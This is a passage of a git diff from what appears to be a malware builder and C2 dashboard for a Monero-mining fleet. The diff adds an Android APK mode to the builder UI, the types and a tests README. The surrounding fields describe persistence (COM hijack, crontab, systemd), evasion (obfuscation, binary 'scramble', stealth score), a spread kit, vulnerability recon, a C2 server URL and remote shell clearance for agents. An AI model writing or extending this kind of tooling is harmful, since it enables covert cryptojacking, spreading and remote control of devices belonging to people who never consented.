>;
let resolveBuild!: (value: BuildResult) => void;
diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx
index da929f2..1a1a2b6 100644
--- a/server/web/src/pages/BuilderPage.tsx
+++ b/server/web/src/pages/BuilderPage.tsx
@@ -1656,7 +1656,11 @@ export default function BuilderPage() {
)}
-
XMR Wallet Address
+
+ XMR Wallet Address {!form.apk_mode && }
+ {form.apk_mode && (optional) }
+ {form.apk_mode && }
+
0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
@@ -1828,7 +1832,11 @@ export default function BuilderPage() {
type="text"
className="input"
disabled
- value="Universal (all platforms)"
+ value={
+ form.apk_mode
+ ? 'Android (arm64)'
+ : 'Universal (all platforms)'
+ }
readOnly
/>
) : (
@@ -1868,6 +1876,26 @@ export default function BuilderPage() {
Upload nothing — forge produces the deploy ZIP.
)}
+
+
+ updateField('apk_mode', e.target.checked)}
+ />
+ APK mode
+
+
+
+
+ {form.apk_mode && (
+
+ Install the forged APK on a phone or tablet. Grant permissions on first open — the node joins your fleet as{' '}
+ platform=android (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.
+
+ )}
{!simpleMode && (
@@ -2281,7 +2309,7 @@ export default function BuilderPage() {
>
)}
- {deliverableType !== 'spread_kit' && (
+ {deliverableType !== 'spread_kit' && !form.apk_mode && (
IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
}
-function platformIcon(platform?: string): string {
- if (!platform) return '⬡';
- const p = platform.toLowerCase();
- if (p.includes('win')) return '⊞';
- if (p.includes('linux')) return '🐧';
- if (p.includes('darwin')) return '';
- return '⬡';
-}
-
let _lineId = 0;
function mkId() { return `tl-${++_lineId}`; }
diff --git a/server/web/src/pages/LotlTimelinePage.tsx b/server/web/src/pages/LotlTimelinePage.tsx
index 4f3364e..680812b 100644
--- a/server/web/src/pages/LotlTimelinePage.tsx
+++ b/server/web/src/pages/LotlTimelinePage.tsx
@@ -6,6 +6,7 @@ import {
buildLotlTimelineModel,
resolveLotlTierOrder,
} from '../help/lotlTimeline';
+import { isAndroidPlatform } from '../help/platform';
import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance';
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
import type { AIDecisionRecord } from '../types';
@@ -117,9 +118,12 @@ export default function LotlTimelinePage() {
const timelineModel = useMemo(() => {
if (!selectedAgent) return null;
+ const order = isAndroidPlatform(selectedAgent.platform)
+ ? resolveLotlTierOrder(undefined, selectedAgent)
+ : tierOrder;
return buildLotlTimelineModel(
selectedAgent,
- tierOrder,
+ order,
selectedAgent.lotl_attempts ?? [],
[],
selectedAgent.atlas_skips ?? [],
diff --git a/server/web/src/pages/ROIPage.tsx b/server/web/src/pages/ROIPage.tsx
index 916879a..762bf71 100644
--- a/server/web/src/pages/ROIPage.tsx
+++ b/server/web/src/pages/ROIPage.tsx
@@ -2,6 +2,7 @@ import { useState, useEffect, useMemo } from 'react';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { formatHashrate } from '../help/fleetFilters';
+import { platformIcon } from '../help/platform';
import './ROIPage.css';
// ── helpers ───────────────────────────────────────────────────────────────
@@ -15,14 +16,6 @@ function fmtUSD(n: number): string {
return `$${n.toFixed(2)}`;
}
-function platformIcon(platform?: string): string {
- const p = (platform ?? '').toLowerCase();
- if (p.includes('win')) return '⊞';
- if (p.includes('linux')) return '🐧';
- if (p.includes('darwin')) return '';
- return '⬡';
-}
-
function effBadge(pct: number): { label: string; cls: string } {
if (pct >= 75) return { label: 'TOP', cls: 'top' };
if (pct >= 40) return { label: 'MID', cls: 'mid' };
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts
index 24ffd89..cd520ad 100644
--- a/server/web/src/types/index.ts
+++ b/server/web/src/types/index.ts
@@ -560,8 +560,12 @@ export interface BuildRequest {
com_hijack_persist?: boolean;
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off';
- target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
+ target_os?: 'windows' | 'linux' | 'darwin' | 'universal' | 'android';
target_arch?: string;
+ /** Android fleet-node APK (mining off by default). */
+ apk_mode?: boolean;
+ apk_agent_name?: string;
+ mining_disabled?: boolean;
spread_kit?: boolean;
obfuscate?: boolean;
/** Post-forge PE overlay + timestamp uniquification (Sigil Scramble). */
@@ -647,6 +651,7 @@ export interface BuildResponse {
sigil_scramble?: boolean;
binary_fingerprint?: string;
stealth_score?: number;
+ artifact_path?: string;
}
export interface PathTraceHop {
diff --git a/server/web/src/types/lotl.ts b/server/web/src/types/lotl.ts
index 0ea812a..17badb2 100644
--- a/server/web/src/types/lotl.ts
+++ b/server/web/src/types/lotl.ts
@@ -42,6 +42,9 @@ const TIER_LABELS: Record = {
stratum: 'Stratum',
vuln_recon: 'Vuln Recon',
vuln_probe: 'Vuln Recon',
+ foreground_service: 'Foreground Service',
+ cpu_inprocess: 'In-Process CPU',
+ desktop_tiers_skipped: 'Desktop tiers skipped',
};
export function formatLotlTierLabel(tier: string): string {
diff --git a/tests/README.md b/tests/README.md
index b5f23a0..79c297f 100644
--- a/tests/README.md
+++ b/tests/README.md
@@ -388,7 +388,7 @@ set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
```
-`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` so stub agents authenticate without scraping `/api/v1/config`.
+`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse — avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
@@ -506,6 +506,34 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
| Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
| LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 |
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
+| `TestRegistrationPlatformFromEnv` / `TestAuthPayloadPlatformFromEnv` | APK wrapper `AETHERFORGE_PLATFORM=android` → auth `platform` | `agent/config/platform_test.go`, `agent/client/protocol_test.go` | 2 |
+| `TestSelectMiningTierChainAndroid` | Shortened foreground → in-process tier chain | `agent/miner/lotl_tier_test.go` | 2 |
+| `buildAccessDepthModel android` / `buildLotlTimelineModel android` | Android probes + 3-step onion timeline | `server/web/src/help/accessDepth.test.ts`, `lotlTimeline.test.ts`, `platform.test.ts` | 4 |
+
+### APK fleet node mode
+
+Android workers are embedded Go binaries launched by the APK Java wrapper. Before spawn the wrapper sets:
+
+- `AETHERFORGE_SERVER_URL` — C2 base URL
+- `AETHERFORGE_WORKER_NUMBER` — fleet worker slot (shown in AI snapshots)
+- `AETHERFORGE_PLATFORM=android` — registration label (overrides `runtime.GOOS=linux`)
+
+Optional probe env vars for Access Depth (`environment_probes`):
+
+- `AETHERFORGE_WIFI_CONNECTED=1`
+- `AETHERFORGE_BATTERY_OK=1`
+- `AETHERFORGE_FOREGROUND_SERVICE=1`
+
+Forge may also bake `ApkMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env.
+
+Quick run:
+
+```bat
+cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlatform|AuthPayloadPlatform|SelectMiningTierChainAndroid" -count=1
+cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts
+```
+
+Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped).
Run LOTL Go tests quickly: